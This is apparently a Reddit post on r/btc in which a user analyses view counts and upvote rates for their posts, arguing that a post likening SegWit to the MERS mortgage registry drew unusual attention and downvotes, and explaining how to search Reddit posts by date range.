My "SegWit = MERS" post argued that SegWit will cause the same kind of catastrophe with Bitcoin that MERS (the Mortgage Electronic Registration Systems company / database) caused with the mortage industry - since SegWit and MERS both encourage deleting the "chain of ownership data".
That "SegWit = MERS" post was about a relatively obscure economic topic - but it got a whopping 8500 views - over 10x the median number of views for my posts.
But now suddenly that one one post arguing "SegWit = MERS" got a whopping 8500 views - but only 50% upvoted.
I have no idea why this happened - and I'm not complaining about these "statistical anomalies" associated with that one post arguing that "SegWit = MERS".
But I do think it is "interesting" that suddenly such an extremely high number of "people" wanted to read (and downvote) a post which made the (relatively obscure) economic argument that "SegWit = MERS".
Did that "SegWit = MERS" post strike a nerve?
And why did it only get downvotes - but no real rebuttals? (One guy linked to some C++ code - but a few lines of C++ code do not refute the argument that SegWit encourages deleting the "chain of ownership data" for bitcoins.)
ಠ_ಠ
Data
Below are the 8 posts (out of 37 total posts) that got over 1000 views, with View Count, Upvoted Percent, and Points - and these 8 posts are sorted from highest to lowest View Count.
So the first post in this listing (the post arguing "SegWit = MERS") is the one that's the "statistical anomaly" or "outlier", with:
SegWit would make it HARDER FOR YOU TO PROVE YOU OWN YOUR BITCOINS. SegWit deletes the "chain of (cryptographic) signatures" - like MERS (Mortgage Electronic Registration Systems) deleted the "chain of (legal) title" for Mortgage-Backed Securities (MBS) in the foreclosure fraud / robo-signing fiasco
65 points - 50% upvoted - 8.5k views
https://np.reddit.com/btc/comments/6oxesh/segwit_would_make_it_harder_for_you_to_prove_you/
CENSORED (twice!) on r\bitcoin in 2016: "The existing Visa credit card network processes about 15 million Internet purchases per day worldwide. Bitcoin can already scale much larger than that with existing hardware for a fraction of the cost. It never really hits a scale ceiling." - Satoshi Nakomoto
416 points - 91% upvoted - 3.0k views
https://np.reddit.com/btc/comments/6l7ax9/censored_twice_on_rbitcoin_in_2016_the_existing/
Skype is down today. The original Skype was P2P, so it couldn't go down. But in 2011, Microsoft bought Skype and killed its P2P architecture - and also killed its end-to-end encryption. AXA-controlled Blockstream/Core could use SegWit & centralized Lightning Hubs to do something similar with Bitcoin
442 points - 82% upvoted - 2.8k views
https://np.reddit.com/btc/comments/6ib893/skype_is_down_today_the_original_skype_was_p2p_so/
Gavin Andresen: "Let's eliminate the limit. Nothing bad will happen if we do, and if I'm wrong the bad things would be mild annoyances, not existential risks, much less risky than operating a network near 100% capacity." (June 2016)
385 points - 89% upvoted - 1.4k views
https://np.reddit.com/btc/comments/6delid/gavin_andresen_lets_eliminate_the_limit_nothing/
What is up with all these Bitcoin devs who think that their job includes HARD-CODING CERTAIN VALUES THAT ARE SUPPOSED TO BE USER-CONFIGURABLE (eg: "seed servers")?
118 points - 79% upvoted - 1.3k views
https://np.reddit.com/btc/comments/6nh00q/what_is_up_with_all_these_bitcoin_devs_who_think/
I just figured out a lot today - about Bitcoin, about scaling, about "Satoshi", about trolls and downvotes and snowflakes. And for the first time in years, I am very, very optimistic about the future of Bitcoin - because of a certain eccentric, arrogant, capitalist mathematician who curses a lot.
71 points - 70% upvoted - 1.2k views
https://np.reddit.com/btc/comments/6kpi36/i_just_figured_out_a_lot_today_about_bitcoin/
"It's funny Core never wanted a compromise until they were losing. Fuck them, they lost, no compromise. Winner takes all, bitches." ~ u/zimmah
192 points - 76% upvoted - 1.1k views
https://np.reddit.com/btc/comments/6d35ie/its_funny_core_never_wanted_a_compromise_until/
u/theymos: "I can't recommend running BIP148 software. Doing so will likely cause you to break away from the real Bitcoin currency on the flag day, create a mess of your datadir which you'll need to manually clean up, and theoretically there are opportunities for losses due to counterfeit BTC." Wow!
144 points - 91% upvoted - 1.1k views
https://np.reddit.com/btc/comments/6e6qri/utheymos_i_cant_recommend_running_bip148_software/
Analysis
So the first post in the list of 8 posts above (the one where I argued "SegWit = MERS") is the "statistical anomaly" or "outlier".
Actually that "SegWit = MERS" post is a "statistical anomaly" in two ways:
  • The "SegWit = MERS" post has an extremely high high View Count compared to all my other posts (8500 views - versus a median of under 1000 views).
  • The "SegWit = MERS" post has (relatively) low Upvoted Percent / Points (only 50% - versus 70%-90% on all my other posts with over 1000 views).
Number of Posts View Count % Upvoted Points
29 < 1000
5 1000-2000 70-91% 70-380
2 2000-3000 82-91% 410-440
1 : "SegWit = MERS" 8500 50% 65
Remarks
I'm not complaining about that post getting "only" 50% Upvoted - or about getting an extremely high View Count of 8500!
But I do think there may be something "interesting" happening here:
  • The vast majority of my posts (29 out of 37) get less than 1000 View Count.
  • Only 5 of my posts (out of 37) got 1000-2000 View Count (and Upvoted Percent 70-91%).
  • Only 2 posts (out of 37) got 2000-3000 View Count (and Upvoted Percent 82-91%).
  • Suddenly, this one weird post (arguing that "SegWit = MERS") got a gigantic 8500 View Count (and Upvoted Percent only 50%).
  • Also, none of the commenters on that post (except for u/metalzip) actually made any arguments. User u/metalzip provided links to some C++ code on GitHub. All the other comments were just content-free drive-by hate.
  • The arguments from u/metalzip may have been serious - but it is not clear whether they were convincing.
  • We still do not have any conclusive evidence showing that SegWit will not cause a catastrophe by encouraging people to delete the "chain of ownership data".
  • Finally, it is disturbing (actually, it is outrageous) that the only hard "facts" being pointed to, in this debate about the specification of the most radical and irresponsible change ever in the economic incentives and security model of what may be the world's next world currency, is a few incrutable lines of C++ code.
  • C++ code is totally adequate for expressing and discussing User Needs and Requirements for important computer systems such as Bitcoin, involving social, economic, legal and "game theory" aspects.
  • If SegWit encourages people to delete the "chain of ownership" data, then this is something we need to talk about - a lot. Just pointing to a few lines of C++ code is not the way to debate this radical change to the economic incentives and security model of Bitcoin.
In other words:
  • Nobody gave a serious rebuttal the to my argument that "SegWit = MERS" - or to legal expert Jimmy Nguyen’s arguments in his bombshell article Risk of SegWit – U.S. Contract Law, where he talked about the legal catastrophe which SegWit could cause by deleting the "chain of ownership data" for bitcoins being transferred among parties.
  • Someone merely pointed to some lines of C++ code - but this does not constitute a refutation of the argument that "SegWit = MERS".
  • More discussion about the possibility that "SegWit = MERS" is warranted (including analysis of social, economic, legal and "game theory" aspects) - beyond someone merely pointed to some lines of C++ code.
The fact is: both MERS and SegWit encourage deleting the "chain of ownership" data - for mortgages and for bitcoins.
This major change to the economic incentives and security model of Bitcoin needs much more debate. Merely pointing to a few lines of C++ code on GitHub does nothing to rebut the arguments made in my "SegWit = MERS" post, or in legal expert Jimmy Nguyen's bombshell article Risk of SegWit – U.S. Contract Law.
In fact, this kind of hand-waving about obscure technical details is exactly what caused the MERS catastrophe in the first place - which is why we should be alarmed that economically and legally ignorant devs paid by banksters are trying to pull the exact same hocuc-pocus on us again - now with SegWit.
Suddenly 8500 "people" wanted to read an obscure economic argument that "SegWit = MERS" - and one of them rebutted it... with some lines of C++ code??
Previously, I have have pointed out that many devs at Core & AXA-owned Blockstream devs are clueless about economics:
Adam Back & Greg Maxwell are experts in mathematics and engineering, but not in markets and economics. They should not be in charge of "central planning" for things like "max blocksize". They're desperately attempting to prevent the market from deciding on this. But it will, despite their efforts.
https://np.reddit.com/btc/comments/46052e/adam_back_greg_maxwell_are_experts_in_mathematics/
Greg Maxwell u/nullc says "The next miner after them sets their minimum [fee] to some tiny value ... and clears out the backlog and collects a bunch of funds that the earlier miner omitted" - like it's a BAD THING. Greg is proposing a SUPPLY-LIMITING AND PRICE-FIXING CARTEL, like it's a GOOD THING.
https://np.reddit.com/btc/comments/5i4885/greg_maxwell_unullc_says_the_next_miner_afte
Gregory Maxwell nullc has evidently never heard of terms like "the 1%", "TPTB", "oligarchy", or "plutocracy", revealing a childlike naïveté when he says: "‘Majority sets the rules regardless of what some minority thinks’ is the governing principle behind the fiats of major democracies."
https://np.reddit.com/btc/comments/44qr31/gregory_maxwell_unullc_has_evidently_never_heard/
Wladimir van der Laan (Lead Maintainer, Bitcoin Core) says Bitcoin cannot hard-fork, because of the "2008 subprime bubble crisis" (??) He also says "changing the rules in a decentralized consensus system is a very difficult problem and I don’t think we’ll resolve it any time soon." But Eth just did!
https://np.reddit.com/btc/comments/4ttv32/wladimir_van_der_laan_lead_maintainer_bitcoin/
So now, 8500 "people" wanted to read an obscure economic argument that "SegWit = MERS" - and half of the voters them downvoted it - and one of them rebutted it... with some lines of C++ code (which hardly anyone in the community is able to read)??
This is how we are going to decide major questions such as the possibility that "SegWit = MERS"??
ಠ_ಠ
How this analysis was performed
Since 16 May 2017, you can check the View Count for each of your posts on Reddit - if you're logged in.
And there is also a special URL syntax you can use to search for posts on Reddit in a custom date range.
Here's the announcement from Reddit on 16 May 2017, about the new "View Count" statistic:
[reddit change] Post view counts, users here now and traffic page updates
https://np.reddit.com/changelog/comments/6bj0iy/reddit_change_post_view_counts_users_here_now_and/
Here's the explanation of how to use CloudSearch to search for posts on Reddit within a custom date range:
Use Cloudsearch to search for posts on reddit within a time frame
https://np.reddit.com/reddittips/comments/2ix73n/use_cloudsearch_to_search_for_posts_on_reddit/
Here's the CloudSearch URL I used to filter my posts on Reddit from May 15, 2017 to July 27, 2017:
https://np.reddit.com/btc/search?sort=relevance&q=author%3A%22ydtm%22+timestamp%3A1494806400..1500938780&restrict_sr=on&syntax=cloudsearch
If you want to customize the above CloudSearch URL for yourself (and for different dates), then make the following 2 changes:
  • Change my Reddit name ydtm to your Reddit name, and
  • Use a site like Epoch Converter to convert the "from" and "to" dates to UNIX timestamp format, and change the date range 1494806400..1500938780 to your date range in the URL above.
Conclusion
So the new View Count statistic could provide useful new information about who is viewing and reacting to your posts.
Maybe someone could come up with some theories why 8500 "people" would view a post making the rather obscure economic argument that "SegWit = MERS".
Maybe arguing that "SegWit = MERS" struck a nerve?
Meanwhile, more discussion is needed about the bombshell article Risk of SegWit – U.S. Contract Law, where Jimmy Nguyen talked about the legal catastrophe which SegWit could cause by deleting the "chain of ownership data" for bitcoins being transferred among parties.
submitted by ydtm to btc [link] [comments]

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